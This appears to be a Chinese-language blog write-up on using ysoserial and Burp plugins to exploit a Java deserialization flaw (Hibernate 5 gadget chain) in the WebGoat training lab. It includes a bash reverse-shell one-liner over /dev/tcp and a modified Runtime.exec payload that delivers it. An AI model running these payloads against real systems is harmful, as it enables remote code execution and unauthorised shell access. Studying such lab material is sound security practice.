ysoserial学习与实践(三)
现网应用实战
上篇分析完了对于ysoserial中Commons Collections 1调用链的payload原理。由于本人水平有限,似乎写的有些啰嗦,经常说着说着又把之前的逻辑捋一遍。
但是,逐步跟进分析+关键步骤POC+疑惑问题回答,应该已经分析到位了。
对于其他的调用链的分析会在闲暇时间不定期完成,本篇重点关注ysoserial实战方面。
任务设置
之前在刷WebGoat靶场时,要解决一道Java反序列化的题目,当时只是简单完成了任务(页面sleep5s),看到有同好说可以利用ysoserial配合burp插件使用打出反弹shell,尝试复盘此过程,以丰富ysoserial实战经验。
两个Burp插件
Java Deserialization Scanner和Java Serial Killer
Java Deserialization Scanner
Java Deserialization Scanner这个插件包含了众多Java框架的反序列化漏洞,例如Spring、Hibernate等,在扫描的过程中会识别当前服务器使用的框架类型,然后对框架进行反序列化漏洞利用测试,这个测试要执行的动作可以指定为sleep、CPU、以及dns。
扫描+基于ysoserial生成exploit。
Java Serial Killer
插件的作者在安全客的一篇文章里做了详细介绍。简单来说就是避免了从ysoserial(命令行)到burp界面的来回切换,并且添加了很多自动化的button,非常方便。
扫描框架
因为之前已经对其源码分析过了,所以这里不再啰嗦白盒内的原理,开Java Deserialization Scanner直接扫。
稳稳地扫出了Hibernate 5框架的反序列化漏洞,下面右键send to exp tab。
在箭头位置手写payload,其对应的命令即java -jar ysoserial xxx。
ysoserial payload
继续下一步之前,需要将ysoserial添加入Java Deserialization Scanner配置。
默认里面带着一个老版本的,可能会因为一些功能受限不太好用,建议修改路径指向自己做好的,如:C:\Users\xxx\Desktop\ysoserial.jar
下面看一下支持的command:
然而这里尝试了几个命令都没有成功执行。
出现此报错信息的原因是payload在插件的源码中是硬编码的。需要将源码重新编译一下。
工具调整
mvn clean package -DskipTests -Dhibernate5
这条命令的依据在配置文件pom.xml中:
一如既往skipTests跳过测试,然后指定hibernate5属性,指定后才会把org.hibernate和javax.el两个库加进去。
那这俩库到底有什么用,自行阅读ysoserial的代码,不再详细展开,修改插件的配置,指向做好的新ysoserial.jar。
再次运行payload就可以了(注意单引号闭合参数,双引号都不对),成功!
最终payload
从WebGoat容器中确定bash可用:
常用的bash反弹shell如:
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
分段理解一下这个语句:
1、bash -i >& xxx
把交互式的bash重定向到fd文件xxx;
2、/dev/tcp/127.0.0.1/1234
创建socket的方法,Ubuntu、Centos均支持;
3、0>&1
把标准输入fd0和标准输出fd1合并在一起。
结合以上,此语句的含义为把交互式的bash输入输出重定向到tcp连接127.0.0.1:1234这个socket里,然后在主机(假如是127.0.0.1)监听此1234端口,就可以对此反弹shell进行操作。
马克思原理搞懂了,现在落实一下中国国情:
1、WebGoat中默认使用sh,想执行bash需要指定/bin/bash -c xxxx
2、Java的Runtime exec方法执行带重定向的command时需要注意用String[]即数组的方式把整条命令分割开,否则会执行失败
收录调用方式:
1 | public Process exec(String command) throws IOExecption |
倒数三行均可以用,但是发现:
3、ysoserial中内置的payload生成方法与这里不符,需要进行修改
这里就是简单实现了下第一行语句的方法,command即为传入的payload,而需要的代码则如:
1 | Runtime r = Runtime.getRuntime(); |
合并成一个字符串:
“java.lang.Runtime.getRuntime().exec(new String []{"/bin/bash","-c","bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"}).waitFor();”
那么进行修改,原封不动,丢进String cmd就可以。或者可以再写个拼接,这样payload里就可以修改弹shell的地址。
之后用上节的方法重新打包加配置就好了,payload写Hibernate1 ‘x.x.x.x’。
类比真实的环境应该是布到docker里打,但是VMware的虚拟机网段无法与本机通信,尝试修改未果。
能在真实场景下用到的话,回来补弹shell的图。